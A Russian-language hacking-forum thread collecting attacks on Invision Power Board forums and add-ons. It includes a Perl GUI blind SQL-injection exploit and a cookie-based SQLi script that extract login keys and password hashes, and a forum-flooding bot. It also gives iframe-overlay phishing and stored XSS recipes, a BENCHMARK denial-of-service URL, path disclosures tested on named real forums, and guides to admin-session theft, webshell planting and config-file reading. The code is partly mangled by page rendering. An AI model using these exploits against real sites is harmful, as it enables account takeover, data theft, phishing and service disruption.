Форумы [Обзор уязвимостей IPB]

Discussion in 'Уязвимости CMS/форумов' started by Kakoytoxaker, 26 Oct 2008.

  1. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    ibProArcade <= v3.3.0 sql injection exploit

    Автор: +toxa+

    PHP:
    #!/usr/bin/perl 

    ## ibProArcade <= v3.3.0 sql injection exploit 
    ## (c)oded by 1dt.w0lf 
    ## RST/GHC 

    ##        THIS IS UNPUBLISHED RST/GHC EXPLOIT CODE 
    ##                   KEEP IT PRIVATE 

    use Tk
    use 
    Tk::BrowseEntry
    use 
    Tk::DialogBox
    use 
    LWP::UserAgent

    BEGIN 
    if($^
    O eq 'MSWin32'){ 
    require 
    Win32::Console
    Win32::Console::Free(); 



    $mw = new MainWindow(title => "r57ibProArcade" ); 

    $mw->geometry '420x310' ) ; 
    $mw->resizable(0,0); 

    $mw->Label(-text => '!', -font => '{Webdings} 22')->pack(); 
    $mw->Label(-text => 'ibProArcade sql injection exploit by RST/GHC', -font => '{Verdana} 7 bold',-foreground=>'red')->pack(); 
    $mw->Label(-text => '')->pack(); 

    $fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ; 
    $fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ; 

    $url 'http://127.0.0.1/ipb216/index.php'
    $user_id '1'
    $prefix 'ibf_'
    $column 'member_login_key'
    $report ''
    $true 0
    $false 0

    $fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ; 
    $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $url) ->pack ( -side => "top" , -anchor => 'w' ) ; 

    $fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ; 
    $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $user_id) ->pack ( -side => "top" , -anchor => 'w' ) ; 

    $fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ; 
    $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $prefix) ->pack ( -side => "top" , -anchor => 'w' ) ; 

    $fright->Label( -text => ' ')->pack(); 
    $fleft->Label( -text => ' ')->pack(); 

    $fleft->Label ( -text => 'get data from database', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ; 
    $fright->Label( -text => ' ')->pack(); 

    $fleft->Label ( -text => 'Get data from column: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ; 
    $b $fright->BrowseEntry( -relief => "groove", -variable => $column, -font => '{Verdana} 8'); 
    $b->insert("end""member_login_key"); 
    $b->insert("end""name"); 
    $b->insert("end""ip_address"); 
    $b->insert("end""legacy_password"); 
    $b->insert("end""email"); 
    $b->pack( -side => "top" , -anchor => 'w' ); 

    $fleft->Label ( -text => 'Returned data: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ; 
    $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $report) ->pack ( -side => "top" , -anchor => 'w' ) ; 


    $fright->Label( -text => ' ')->pack(); 

    $fright->Button(-text    => 'Test forum vulnerability'
                    -
    relief => "groove"
                    -
    width => '30'
                    -
    font => '{Verdana} 8 bold'
                    -
    activeforeground => 'red'
                    -
    command => &test_vuln 
                   
    )->pack(); 

    $fright->Button(-text    => 'Get database tables prefix'
                    -
    relief => "groove"
                    -
    width => '30'
                    -
    font => '{Verdana} 8 bold'
                    -
    activeforeground => 'red'
                    -
    command => &get_prefix 
                   
    )->pack(); 

    $fright->Button(-text    => 'Get data from database'
                    -
    relief => "groove"
                    -
    width => '30'
                    -
    font => '{Verdana} 8 bold'
                    -
    activeforeground => 'red'
                    -
    command => &get_data 
                   
    )->pack(); 



    $fleft->Label( -text => ' ')->pack(); 
    $fleft->Label( -text => '+++ PRIV8 +++', -font => '{Verdana} 7')->pack(); 
    $fleft->Label( -text => '(c)oded by 1dt.w0lf', -font => '{Verdana} 7')->pack(); 
    $fleft->Label( -text => 'RST/GHC', -font => '{Verdana} 7')->pack(); 

    MainLoop(); 

    sub get_data() 

    $true = &get_true(); 

    $report '';   
    $s_num=1
    while((
    $chr = &found(0,255))!=0){ 
    $report .= chr($chr); 
    $mw->update(); 
    $s_num++; 

    if(
    length($report) > 0) { &report('That\'s all ;)'); } 
    else { &
    report('Can\'t get data from database'); } 



    sub test_vuln() 

    $InfoWindow=$mw->DialogBox(-title   => 'test forum vulnerability', -buttons => ["OK"]); 
    $InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack
    $InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack
    $InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack

    $true = &get_true(); 
    $false = &get_false(); 

    if(
    $true != $false) { $InfoWindow->add('Label', -text => 'FORUM VULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; } 
    else { 
    $InfoWindow->add('Label', -text => 'FORUM UNVULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'green')->pack; } 

    $InfoWindow->Show(); 
    $InfoWindow->destroy


    sub get_true() 

    $xpl LWP::UserAgent->new( ) or die; 
    $res $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=,(-gid*(1=1))"); 
    if(
    $res->as_string =~ /g=(d+)" target="hiddenframe"><img src="./arcade/images/addfav.gif"/) { $rep = $1; } 
    return 
    $rep


    sub get_false() 

    $xpl = LWP::UserAgent->new( ) or die; 
    $res = $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=,(-gid*(1=2))"); 
    if(
    $res->as_string =~ /g=(\d+)" target="hiddenframe"><img src=".\/arcade\/images\/addfav.gif"/) { $rep = $1; } 
    return 
    $rep

      
    sub get_prefix() 

    $InfoWindow=$mw->DialogBox(-title   => 'get database tables prefix', -buttons => ["OK"]); 
    $InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack
    $InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack
    $InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack
    $xpl LWP::UserAgent->new( ) or die; 
    $res $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=r57r0x"); 
    if(
    $res->is_success
     { 
     
    $rep ''
     if(
    $res->as_string =~ /from (.*)games_list/) 
     { 
     
    $prefix = $1
     
    $InfoWindow->add('Label', -text => 'Prefix: '.$prefix, -font => '{Verdana} 8 bold')->pack
     } 
     else 
     { 
     
    $InfoWindow->add('Label', -text => 'Can\'t get prefix', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; } 
     } 
    else 
     { 
     
    $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack
     
    $InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack
     } 
    $InfoWindow->Show(); 
    $InfoWindow->destroy;   


    sub found($$) 
     { 
     
    my $fmin $_[0]; 
     
    my $fmax $_[1]; 
     if ((
    $fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; } 
      
     
    $r int($fmax - ($fmax-$fmin)/2); 
     
    $check " BETWEEN $r AND $fmax"
     if ( &
    check($check) ) { &found($r,$fmax); } 
     else { &
    found($fmin,$r); } 
     } 
      
    sub crack($$) 
     { 
     
    my $cmin $_[0]; 
     
    my $cmax $_[1]; 
     
    $i $cmin
     while (
    $i<$cmax
      { 
      
    $crcheck "=$i"
      if ( &
    check($crcheck) ) { return $i; } 
      
    $i++; 
      } 
     
    $i 0
     return 
    $i
     } 
      
    sub check($) 
     { 
     
    $n++; 
     
    $rep ''
     
    $ccheck $_[0]; 
     
    $xpl LWP::UserAgent->new( ) or die; 
     
    $res $xpl->get($url.'?autocom=arcade',cookie=>'g_display_sort=added;g_display_order=,(-gid*(SELECT 1 FROM '.$prefix.'members WHERE (id='.$user_id.' AND ascii(substring('.$column.','.$s_num.',1))'.$cchec  k.') LIMIT 1)) LIMIT 1'); 
     if(
    $res->as_string =~ /g=(d+)" target="hiddenframe"><img src="./arcade/images/addfav.gif"/) { $rep = $1; } 
     if(
    $rep == $true) { return 1; } 
     else { return 0; } 
     } 
      
    sub report() 

    $InfoWindow=$mw->DialogBox(-title   => 'Report', -buttons => ["OK"]); 
    $InfoWindow->add('Label', -text => $_[0], -font => '{Verdana} 7')->pack; 
    $InfoWindow->Show(); 
    $InfoWindow->destroy
    PS Материал востановлен
    Дата публикации: 30.01.2008, 21:01
    Автор +toxa+
     
    1 person likes this.
  2. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Invision Power Board <=v2.3.4 BBCodes XSS

    Автор: +toxa+

    добавленный кодес в class_bbcode_core.php
    PHP:
     ...................... 
                                
    $match$_content ][$i] = preg_replace'#(style)=#is'"$1="$match$_content ][$i] );     
                                
    $match$_option ][$i] = preg_replace'#(style)=#is'"$1="$match$_option ][$i] ); 
    .......................         
            
    //----------------------------------------- 
            // Don't let emos in URL.. 
            //----------------------------------------- 
             
            
    if ( $this->parse_smilies 
            { 
                if ( 
    count$this->ipsclass->cache['emoticons'] ) > 
                { 
                    foreach( 
    $this->ipsclass->cache['emoticons'] as $row
                    { 
                        
    $code    $row['typed']; 
                        
    $code    str_replace'<''&lt;'str_replace'>''&gt;'$code ) );     
                         
                        if( 
    strpos$url$code ) ) 
                        { 
                            
    $new  ''
                             
                            for( 
    $i=0$i<strlen($code); $i++ ) 
                            { 
                                
    //print dechex(ord($code{$i})).'<Br>'; 
                                
    $new .= '%' dechex(ord($code{$i})); 
                            } 
                             
                            
    $url str_replace$code$new$url ); 
                        } 
                    } 
                     
                    
    // Using the :/ smiley 
                    
    $url str_replace'http%3a%2f''http:/'$url ); 
                } 
            } 
             
            
    $url htmlspecialchars($url); 
    .......................         
            
    //----------------------------------------- 
            // Don't let emos in URL.. 
            //----------------------------------------- 
             
            
    if ( $this->parse_smilies 
            { 
                if ( 
    count$this->ipsclass->cache['emoticons'] ) > 
                { 
                    foreach( 
    $this->ipsclass->cache['emoticons'] as $row
                    { 
                        
    $code    $row['typed']; 
                        
    $code    str_replace'<''&lt;'str_replace'>''&gt;'$code ) );     
                         
                        if( 
    strpos$url['html'], $code ) ) 
                        { 
                            
    $new  ''
                             
                            for( 
    $i=0$i<strlen($code); $i++ ) 
                            { 
                                
    //print dechex(ord($code{$i})).'<Br>'; 
                                
    $new .= '%' dechex(ord($code{$i})); 
                            } 
                             
                            
    $url['html'] = str_replace$code$new$url['html'] ); 
                        } 
                    } 
                     
                    
    // Using the :/ smiley 
                    
    $url['html'] = str_replace'http%3a%2f''http:/'$url['html'] ); 
                } 
            } 
             
             
                
    $url['html'] = htmlspecialchars$url['html'] ); 
    ...................... 
    кому интересно, думаете)

    PS Материал востановлен
    Дата публикации: 22.02.2008, 22:22
    Автор +toxa+
     
  3. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    XSS [Flash] in IPB v1.3, 2.1.5 и 2.2.2

    Автор: iddqd

    Vulnerable: 1.x и 2.x (тестировалось на Invision Power Board v1.3, 2.1.5 и 2.2.2).

    XSS [Flash]

    Из-за отсутствия защиты от исполнения JavaScript кода из flash, при включенной
    поддержке флеша в сообщениях, атакующий может внедрить ссылку на специальный
    флеш-файл в тело сообщения и атаковать всех участников форума, которые просмотрят
    тему с данным сообщением. Атака может быть проведена через публикацию флешки в
    сообщении на форуме, или установки её в качестве аватора.

    PoC:
    Fix:
    Для исправления данной уязвимости нужно установить свойство флеш-объекта
    allowscriptaccess в "never".

    PS Материал востановлен
    Дата публикации: 08.03.2008, 15:14
    Автор iddqd
     
  4. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    IPB <=2.0.3 SQL-inj Exploit (c) h4cky0u

    Автор: +toxa+

    heres another sick xploit for 2.0.3 again coded by jamey224. Usally works, except for a few boards that are patched.Enjoy! (c) h4cky0u
    http://h4cky0u.org/viewtopic.php?f=2&t=6110
    PHP:
     use LWP::UserAgent

       
    $ua = new LWP::UserAgent
       
    $ua->agent("Mosiac 1.0" $ua->agent); 

    if (!
    $ARGV[0]) {$ARGV[0] = '';} 
    if (!
    $ARGV[3]) {$ARGV[3] = '';} 

    my $path $ARGV[0] . '/index.php?act=Login&CODE=autologin'
    my $user $ARGV[1];   # userid to jack 
    my $iver $ARGV[2];   # version 1 or 2 
    my $cpre $ARGV[3];   # cookie prefix 
    my $dbug $ARGV[4];   # debug? 

    if (!$ARGV[2]) 

            print 
    "The type of the file system is NTFS.\n\n"
            print 
    "Exploit C0d3d By Jamey2244\n"
            print 
    "Yes I know I'm g00d\n"
            print 
    "LeTS g0!!!\n"
            exit; 


    my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"); 

    my $outputs ''

    for( 
    $i=1$i 33$i++ ) 

            for( 
    $j=0$j 16$j++ ) 
            { 
                    
    my $current $charset[$j]; 
                
    my $sql = ( $iver ) ?  "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2  527$current%2527)/*" 
    "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i  ,1)%3d%2527$current%2527)/*"
                    
    my @cookie = ('Cookie' => $cpre "member_id=31337420; " $cpre "pass_hash=" $sql); 
                    
    my $res $ua->get($path, @cookie); 

                    
    # If we get a valid sql request then this 
                    # does not appear anywhere in the sources 
                    
    $pattern '<title>(.*)Log In(.*)</title>'

                    
    $_ $res->content

                    if (
    $dbug) { print }; 

                    if ( !(/
    $pattern/) ) 
                    { 
                            
    $outputs .= $current
                            print 
    "$current\n"
                        
    last
                    } 

            } 
      if ( 
    length($outputs) < )   { print "Not Exploitable!\n"; exit;     } 

    print 
    "Cookie: " $cpre "member_id=" $user ";" $cpre "pass_hash=" $outputs
    exit; 


    PS Материал востановлен
    Дата публикации: 16.03.2008, 16:02
    Автор +toxa+
     
  5. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Invision Power Board <=2.3.x iFrame Vulnerability

    Автор: iddqd

    1)Регистрируемся
    2)Заходим в свой профиль
    3)Изменяем подпись(html включен):

    PHP:
    <html
    <
    head
    <
    title>Заголовок</title
    </
    head
    <
    body
    <
    div id="iFrame1" style="position:absolute; left:0px; top:0px; z-index:0"
    <
    iframe name="iFrame1" width=1024 height=3186 src="http://адрес Вашей страницы.html" scrolling="no" 
    frameborder="0"></iframe
    </
    div
    </
    body
    </
    html>
    4)Постим сообщение- страница форума перекрывается Вашей страницей.
    Можно использовать для фейков.



    PS Материал востановлен
    Дата публикации: 27.03.2008, 19:01
    Автор iddqd
     
  6. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Invision Power Board <=2.3.5 Active XSS

    Автор: %00

    Invision Power Board <=2.3.5

    Active XSS

    Работает в ie
    Не работает в opera

    1) создаем файл any.html внути него <script>alert()</script>
    2) содаем пост с аттачем any.html

    В версиях ниже 2.3.х может не работать...

    PS Материал востановлен
    Дата публикации: 20.05.2008, 15:25
    Автор %00
     
  7. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Full path disclosure:

    Автор: ettee

    Full path disclosure:
    Version detection:
    PS Материал востановлен
    Дата публикации: 02.06.2008, 21:32
    Автор ettee
     
    1 person likes this.
  8. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    IPB Forum Flood

    Автор: baltazar

    ФЛудит как постами так и топиками,проверено на 2.1.7
    PHP:
    #---------------------------- 
    #   this programe has been  # 
    #   created by NikTrix-Souvico       # 
    #   [ 'HellSoft' ] for      # 
    #   Flooding IPB Forums     # 
    #---------------------------- 
     
    #!/usr/bin/perl -w 
    use strict
    use 
    LWP::UserAgent
    use 
    HTTP::Cookies
     
    #Variables 
    my  $url        =   undef
    my  $login      =   undef
    my  $UserName   =   undef
    my  $PassWord   =   undef
    my  $CookieDate =   1
    my  $SID        =   undef
    my  $SE         =   undef
    my  $MSG        =   undef
     
    #Prototype 
    sub IPBFlood($); 
     
    #Main 
    print "\t\tWelcome to IPBFlood 0.1x By Souvik\t\t[ 'NikTrix' ]Team"
     
    print 
    "Url\t: ";chomp($url=); 
    print 
    "UserName\t: ";chomp($UserName=); 
    print 
    "Password\t: ";chomp($PassWord=); 
    print 
    "Start [to] End\t: ";chomp($SE=); 
    print 
    "Message\t: ";chomp($MSG=); 
     
    my  $ua     =   LWP::UserAgent->new
    $ua->agent("Mozilla/4.0"); 
    my  $cj     =   HTTP::Cookies->new(file => "N/A" autosave => 0); 
    $ua->cookie_jar($cj); 
     
    #-get SID 
    my  $r      =   $ua->get($url); 
    if(
    $r->is_success){ 
        
    #Find SID ? 
        
    ($SID) = $r->content =~/\?s=(\w{32})&.*/i
        print 
    "SID : $SID"

     
    #-Connecting ... 
    $r          =   $ua->post($url.$login,[UserName=> $UserName ,PassWord => $PassWord ,CookieDate =>$CookieDate => $SID]); 
    if(
    $r->is_success){ 
        print 
    "[+] Connected" if($r->content =~ /cliquez ici si vous ne souhaitez pas/gi); 
        
    my($Start $End) = split(/-/,$SE); 
        foreach(
    $Start..$End){ 
            
    IPBFlood($_); 
        } 

     
    #Subroutines 
    sub IPBFlood($){ 
        
    my $Topic   =   shift
        
    my $get     =   $ua->get($url."s=$SID&showtopic=$Topic"); 
        if(
    $get->is_success){ 
            
    #Get Subforum ID "f" : variable ! 
            
    if( my ($f) = $get->content =~/f=(\d{1,4})/ ){ 
                print 
    "[-]Subforum ID : $f & Topic N : $Topic"
                
    #Get Post AuthKey for Subforum f=N° 
                
    $get    =   $ua->get($url."s=$SID&act=post&do=reply_post&f=$f&t=$Topic"); 
                
    #                          act=post&do=reply_post&f=56&t=43988 
                
    if($get->is_success){ 
                    
    ##auth_key Ex :  
                    
    my $auth_key ) = $get->content =~/auth_key.*(\w{32})/i
                    
    #attach_post_key Ex :  
                    
    my $attach_post_key ) = $get->content =~/attach_post_key.*(\w{32})/i
                    print 
    "[-]auth_key : $auth_key[-]attach_post_key : $attach_post_key"
     
     
                    
    my %form =(st                 =>  0
                               
    act                =>  "Post"
                               
    s                  =>  "$SID"
                               
    f                  =>  "$f"
                               
    auth_key           =>  "$auth_key"
                               
    removeattachid     =>  "0"
                               
    CODE               =>  "03"
                               
    t                  =>  "$Topic"
                               
    attach_post_key    =>  "$attach_post_key"
                               
    parent_id          =>  "0"
                               
    "ed-0_wysiwyg_used"=>  "0"
                               
    "editor_ids%5B%5D" =>  "ed-0"
                               
    Post               =>  "$MSG"
                               
    enableemo          =>  "yes"
                               
    enablesig          =>  "yes"
                               
    iconid             =>  "0" 
                               
    ); 
                    
    $r      =   $ua->post($url."s=$SID",\%form); 
                    if(
    $r->is_success){ 
                        print 
    "Send success !" if( length($r->content)< 300); 
                    } 
                } 
            } 
        } 
    }
    PS Материал востановлен
    Дата публикации: 22.07.2008, 00:59
    Автор baltazar
     
  9. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Раскрытие пути

    Автор: Nightmarе

    Раскрытие пути в модуле "галерея" в IPB 2.3.5:

    index.php?automodule=gallery&req[]=

    Пример:
    http://www.obzvon.com/forums/index.php?automodule=gallery&req[]=

    Тока щас нашёл, работает везде, возможно кому-то пригодится.

    PS Материал востановлен
    Дата публикации: 09.08.2008, 02:06
    Автор Nightmarе
     
  10. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Invision Power Board <= 2.3.5 Multiple Vulnerabilities

    Автор: Elekt

    Invision Power Board <= 2.3.5

    Multiple Vulnerabilities

    http://acid-root.new.fr/?0:18
    http://packetstormsecurity.org/filedesc/ipb235-multi.txt.html


    Экспоит основывается на SQL-inj в параметре "name" файла "sources/action_public/xmlout.php"
    и использует технологию классического посимвольного брута данных.
    Особенность урленкода %2527 делает его независимым от magic_quotes.

    /ipb235/index.php?s=&act=xmlout&do=check-display-name&name=%2527

    В эксплоите предусмотрено три режима работы.

    -attack 1

    Через скуль получают сессию админа.
    Из настроек извлекается инфа о привязке сессии к ip-address и browser.
    Если таковая привязка имеется (включено по дефолту) и админ заходил не из под прокси - атака невозможна.
    В ином случае - извлекаются ip-address и browser админа и производится попытка войти под админом.
    В случае успешной попытки эксплоит прописывает веб-шелл в файл языка.

    Вероятность успеха атаки мала, ибо:
    ~ сессия имет по дефолту привязку к айпи и браузеру
    ~ время жизни сессии скорее всего просрочено. придется караулить админа, либо спровоцировать его зайти в админку.

    Сам процесс "ожидания" в эксплоите реализован в цикле - ожидание появления новой сессии.

    Пример запуска эксплойта:
    php ipb235-multi.txt -attack 1 -url http://www.ipb-235.com/forum/

    -attack 2

    Как ни удивительно - в сессии cookie *ipb_stronghold пользователя присутствует пароль к БД.
    Используя атаку по словарю, эксплоит пытается сбрутить пароль к БД из хеша сессии.
    Через скуль эксплоит получает имя текущего пользователя БД.

    Необходима валидная учетная запись, либо куки со сниффера.
    Вероятность успеха мала и зависит в большей мере от вашего словаря и рэндомности пароля.

    Пример запуска эксплойта:
    php ipb235-multi.txt -attack 2 -url http://www.ipb-235.com/forum/ -ip <ВАШ_IP> -dict passwd.txt -uname mynick -pwd password

    Разложим алгоритм генерации сессии:

    PHP:
     $md5 md5(trim($line).$this->p_sql_u); 
    $md5 md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.$this->p_hash).$md5
    $md5 md5($md5);  
    Преобразуем к:
    PHP:
    PHP код:
     
    md5(md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.$this->p_hash).md5($pass.$this->p_sql_u))  
    Тогда
    ~ если *member_id нашего юзера, например, 1745
    ~ если у нас ip, например, 192.168.5.235
    ~ если cookie *pass_hash, например, 12345678901234567890123456789012
    ~ если мы знаем заведомо\получили через SQL-inj имя текущего SQL-юзера к БД, например, sqladmin@localhost
    Тогда:
    PHP:
    md5(md5('1745-192-168-12345678901234567890123456789012'). md5($pass.'sqladmin'))  
    Посмотрел модули в PasswordPro - можно брутить пасс из него по маске.
    Используем модуль md5(md5($salt).md5($pass))
    Ставьте атаку по маске, например, как
    ?|?|?|?|?|?|?|?|sqladmin
    где как видите в конце маски идет sql юзер БД.
    Ну подмаску ?| (a-z) можете выбрать и другую, однако тройной мд5 будет аццки тормозить на широком диапазоне символов...

    -attack 3

    И наконец-то класическая добыча пароля пользователя + соль.
    Встроенный в эксплоит брутфорс попробует перебрать найденный хеш по словарю,
    хотя рекомендую перебирать чем-нить по шустрее.

    php ipb235-multi.txt -attack 3 -url http://www.ipb-235.com/forum/ -dict passwd.txt

    Реализован режим обхода IDS. Вобщем, автору DarkFig - большой респект.

    Я немного оптимизировал код.
    Максимальная скорость работы возросла в среднем в 2.5 раза.
    На примере атаки #3 : оригинальному эксплоиту потребуется около 500 запросов для брута md5 хеша + соли.
    Мой вариант для тойже задачи потребует не более 200
    ver1.5
    -----------------------
    Сдесь аттач с программой :) (у кого права есть, поставьте, будте так добры )
    -----------------------
    PS Материал востановлен
    Дата публикации: 30.08.2008, 10:50
    Автор Elekt
     

    Attached Files:

    #30 Kakoytoxaker, 27 Oct 2008
    Last edited by a moderator: 18 Sep 2009
    4 people like this.
  11. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Автор: Elekt

    Исходя из адвизори
    http://acid-root.new.fr/?0:18
    есть еще три других существенных бага, не используемых в эксплоите.

    1) Утечка админской сессии

    Идентификатор сессии администратора содержится в HTTP заголовке "Referer" при выборе "Switch between standard and rich text editor".
    Если атакующий использует удаленный аватар, то становится возможной кража сессии администратора, передаваемая в реферере при обращении к удаленному аватару.

    2) Отказ в обслуживании

    Неправильное использование пост-инкремента в защитной функции разбора массивов.
    Сервер будет рекурсивно обрабатывать не первые 10 подмассивов, а все.

    /index.php?foo[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]=123


    соответственно чем больше скобок, тем дольше будет обработка

    3) HTTP Response Splitting attacks

    INFO[base_url] не определен в конфиге

    /admin.php?INFO[base_url]=http://phishing-hax.com/

    PS Материал востановлен
    Дата публикации: 02.09.2008, 09:45
    Автор Elekt
     
    1 person likes this.
  12. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Чтение файлов при помощи админки

    Автор: Dr.Frank

    Чтение файлов при помощи админки(если шелл залить не получилось).
    Тестил на версиях 2.3.1 2.3.3

    В "управление SQL"->"инструменты"->"выполнить SQL запрос" вводим:

    Берем номер любого файла(attach_id).
    Выполняем следующий запрос:

    или такой(форум иногда точки заменяет спец.символами):


    и по адресу
    http://forum/index.php?act=attach&type=post&id=attach_id
    должен появиться файл с настройками conf_global.php

    PS Материал востановлен
    Дата публикации: 16.09.2008, 15:32
    Автор Dr.Frank
     
    1 person likes this.
  13. PEHAT

    PEHAT New Member

    Joined:
    16 Nov 2008
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    ibStore <= 3.2.0

    DOS

    http://target/index.php?autocom=store&CODE=item_effect&type=resell,BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date)))
     
  14. brain[pillow]

    brain[pillow] Active Member

    Joined:
    7 Nov 2008
    Messages:
    7
    Likes Received:
    103
    Reputations:
    74
  15. DanST

    DanST New Member

    Joined:
    23 May 2007
    Messages:
    20
    Likes Received:
    2
    Reputations:
    -12
    Архив битый :(
     
  16. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    I.P.B. Раскрытие путей

    Code:
    http://victim.com/ipb/?&act=attach&code=attach_upload_remove
    Примеры на популярных форумах:

    PickUp.Ru:

    Code:
    http://www.pickupforum.ru/?&act=attach&code=attach_upload_remove
    
    Fatal error: Call to a member function get_space_allowance() on a non-object in /home/pickupforum/pickupforum.ru/sources/classes/attach/class_attach.php on line 993
    
    Fishki.Net:

    Code:
    http://forum.fishki.net/?act=attach&code=attach_upload_remove
    
    Fatal error: Call to a member function get_space_allowance() on a non-object in /www/forum.fishki.net/sources/classes/attach/class_attach.php on line 993
    
     
    2 people like this.
  17. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    Множественный активный межсайтовый скриптинг в IP.Board 3.0.x-3.0.5

    Множественный активный межсайтовый скриптинг в IP.Board 3.0.x-3.0.5

    Версия 3.0.5 на текущий момент является последней в третьей ветке этого форума. Вообще говоря, её появление - хорошая иллюстрация видимости прогресса в обеспечении безопасности, создающейся при появлении более новых версий. Так, третья ветка - это почти возврат к 2005 году в плане защиты от XSS.

    Мною будет приведен список подвида активных xss-уязвимостей, основанных на разрушении структуры тега. Но это не все имеющиеся там XSS, их Я оставляю будущим поколениям. Я не стану также показывать готовые примеры эксплойтов, а просто отошлю всех интересующихся к источнику, в котором описаны пути преодоления трудностей его составления: https://forum.antichat.ru/showthread.php?t=96612

    Однако несколько моментов все же стоит осветить:

    1) Запрет expression преодолевается путем кодирования одного из символов комментария в dec (expr&*#47;**/ession) вне пределов стилевого атрибута форума. Но обращение с expression требует немалой осторожности. Исходя из моего опыта саму заглушку expression следует прописывать по старинке в отдельном атрибуте ( style=gg:expression(eval(this.blabla)) blabla=confirm(1);this.blabla=null//), и НИКОГДА не пытаться вставлять рабочий код в само выражение - очень нестабильная конструкция.

    2) Мозиловский xml-файл, чтобы уязвимость сработала не только в несвежих версиях FF 2.x, должен быть залит на тот же домен. По умолчанию это возможно.

    3) Сокрытие кода возможно через цвет, как описано в источнике, но лучше через стиль и грамотный отказ от вложенных и спаренных тегов в пользу структуры скрещенных bb-тегов. Этот выбор вам предоставится.

    Объясню на примере:

    Возьмем структуру вложенных bb-тегов:

    [*url]http://www.domain.com[*entry=100 xss]Click_me![*/entry][*/url]

    на выходе :

    <a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&amp;module=display&amp;section=blog&amp;showentry=100 xss'>Click_me</a>' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...ick_me![*/entry]</a>

    Видно, что после тега ссылки остались развалины тега, которые бросятся в глаза.

    Теперь переделаем это в стиле скрещенных bb-тегов:

    [*url]http://www.domain.com[*entry=100 xss]Click_me![*/url][*/entry]

    <a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&amp;module=display&amp;section=blog&amp;showentry=100 xss'>Click_me' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...0 xss]Click_me!</a></a>

    И здесь уже все прежние развалины ушли в потроха, нам осталось всего лишь скрыть их стилем и никаких видимых следов присутствия ни в IE, ни в FF не будет.

